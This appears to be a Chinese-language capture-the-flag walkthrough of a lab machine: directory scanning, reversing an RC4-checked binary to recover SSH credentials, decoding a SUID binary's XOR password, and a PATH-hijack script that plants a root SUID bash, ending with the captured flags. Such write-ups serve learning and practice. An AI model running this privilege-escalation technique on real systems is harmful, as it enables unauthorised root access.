

## 端口扫描

目录扫描

|   |                |                                                                       |
|---|----------------|-----------------------------------------------------------------------|
| 🎯 | Target Url     | http://192.168.32.155                                                 |
| 🚀 | Threads        | 50                                                                    |
| 📖 | Wordlist       | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt |
| 👉 | Status Codes   | All Status Codes!                                                     |
| 💥 | Timeout (secs) | 7                                                                     |
| 🐼 | User-Agent     | feroxbuster/2.11.0                                                    |
| 🔧 | Config File    | /etc/feroxbuster/ferox-config.toml                                    |
| 🔍 | Extract Links  | true                                                                  |
| 💰 | Extensions     | [php, html, txt, zip, bak]                                            |

|                         |                                                                                                                           |
|-------------------------|---------------------------------------------------------------------------------------------------------------------------|
| ⚙ HTTP methods          | [GET]                                                                                                                     |
| 🔍 Recursion Depth       | 2                                                                                                                         |
| 📄 New Version Available | <a href="https://github.com/epi052/feroxbuster/releases/latest">https://github.com/epi052/feroxbuster/releases/latest</a> |

⚙ Press [ENTER] to use the Scan Management Menu™

```
404      GET      9l      31w      276c Auto-filtering found 404-like response and
created new filter; toggle off with --dont-filter
403      GET      9l      28w      279c Auto-filtering found 404-like response and
created new filter; toggle off with --dont-filter
200      GET      1l      1w        6c http://192.168.32.155/
301      GET      9l      28w      314c http://192.168.32.155/dev =>
http://192.168.32.155/dev/
200      GET      1l      1w        6c http://192.168.32.155/index.html
200      GET      5l      30w      176c http://192.168.32.155/dev/todo.txt
200      GET      8l      98w     18343c http://192.168.32.155/dev/authenticator
[#####] - 35s  180018/180018  0s      found:5      errors:0
[#####] - 35s  180000/180000  5193/s  http://192.168.32.155/
[#####] - 1s   180000/180000  196507/s http://192.168.32.155/dev/ =>
Directory listing (add --scan-dir-listings to scan)
```

访问 <http://192.168.32.155/dev/todo.txt>

Fix the login issue on the main page.  
修复主页的登录问题。

Ryan: Use your favorite girl's name as your temporary SSH password.  
瑞安: 用你最喜欢的女孩的名字作为临时 SSH 密码。

Remember to run the 'authenticator' tool to verify your access key.

记得运行“认证器”工具来验证你的访问密钥。

访问 <http://192.168.32.155/dev/authenticator> 可以把这个下载下来

我的逆向水晶是在比较一般，丢给ai了，大概就是将输入字符与 RC4 生成的密钥流异或后，再与内存中的目标字节进行比较。

```
def rc4_init(key: bytes):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xff
        s[i], s[j] = s[j], s[i]
    return s

def rc4_keystream(s, n):
    i = 0
    j = 0
    out = []
    for _ in range(n):
        i = (i + 1) & 0xff
```

```

        j = (j + s[i]) & 0xff
        s[i], s[j] = s[j], s[i]
        out.append(s[(s[i] + s[j]) & 0xff])
    return out

key = b"welcome"
cipher = bytes.fromhex("1de12092c435d78c55915efa788eb296a047")

s = rc4_init(key)
ks = rc4_keystream(s, len(cipher))
plain = bytes([c ^ k for c, k in zip(cipher, ks)])

print(plain)

```

获得初始凭证 {Ryan:sunninggirl}

ssh 登录, linpeas 发现了一个 /usr/bin/super\_checker

```

┌───────────┐ SUID - Check easy privesc, exploits and write perms
└───────────┘ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 53K Jul 27 2018 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 83K Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 15K Mar 14 23:25 /usr/bin/super_checker (Unknown SUID binary!)
-rwsr-xr-x 1 root root 47K Apr 6 2024 /usr/bin/mount --->
Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 63K Apr 6 2024 /usr/bin/su
-rwsr-xr-x 1 root root 35K Apr 6 2024 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 23K Jan 13 2022 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
-rwsr-xr-x 1 root root 179K Jan 14 2023 /usr/bin/sudo --->
check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 63K Jul 27 2018 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-- 1 root messagebus 51K Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 471K Dec 21 2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19K Jan 13 2022 /usr/libexec/polkit-agent-helper-1

```

可读, 还是拖下来反编译, 大概就是将输入的每个字符与 0x5A 进行异或, 然后与内存中保存的值进行比较, 需要 9 个字节全部匹配, 进入 sub\_1240 后会以 0:0 执行 service --status-all

```

data = bytes.fromhex("28 6a 6a 2e 05 2a 1a 29 29")
pwd = ''.join(chr(b ^ 0x5A) for b in data)
print(pwd) #r00t_p@ss

```

路径劫持

```
cd /tmp
cat > service <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/service
export PATH=/tmp:$PATH
/usr/bin/super_checker
```

```
Ryan@ezRe:/tmp$ ls -alh
total 2.1M
drwxrwxrwt 10 root root 4.0K Mar 19 05:09 .
drwxr-xr-x 18 root root 4.0K Mar 18 2025 ..
drwxrwxrwt 2 root root 4.0K Mar 19 04:42 .font-unix
drwxrwxrwt 2 root root 4.0K Mar 19 04:42 .ICE-unix
-rwx--x--x 1 Ryan Ryan 934K Nov 25 01:02 linpeas.sh
-rwsr-xr-x 1 root root 1.2M Mar 19 05:09 rootbash
-rwxr-xr-x 1 Ryan Ryan 62 Mar 19 05:08 service
drwx----- 3 root root 4.0K Mar 19 04:42 systemd-private-c82a1d617b824720af410b070add2141-apache2.service-TKpPhg
drwx----- 3 root root 4.0K Mar 19 04:42 systemd-private-c82a1d617b824720af410b070add2141-systemd-logind.service-UuiHzg
drwx----- 3 root root 4.0K Mar 19 04:42 systemd-private-c82a1d617b824720af410b070add2141-systemd-timesyncd.service-eFkich
drwxrwxrwt 2 root root 4.0K Mar 19 04:42 .Test-unix
drwxrwxrwt 2 root root 4.0K Mar 19 04:42 .X11-unix
drwxrwxrwt 2 root root 4.0K Mar 19 04:42 .XIM-unix
Ryan@ezRe:/tmp$ ./rootbash -p
rootbash-5.0# id
uid=1000(Ryan) gid=1000(Ryan) euid=0(root) groups=1000(Ryan)
rootbash-5.0# cat /home/Ryan/user.txt
{user-5d8e7f9a4b3c2d1e0f8a7b6c5d4e3f2a}
rootbash-5.0# cat /root/root.txt
{root-f97e8b4d2c5a0e9f1t3h8c0a6e1d4b39}
rootbash-5.0#
```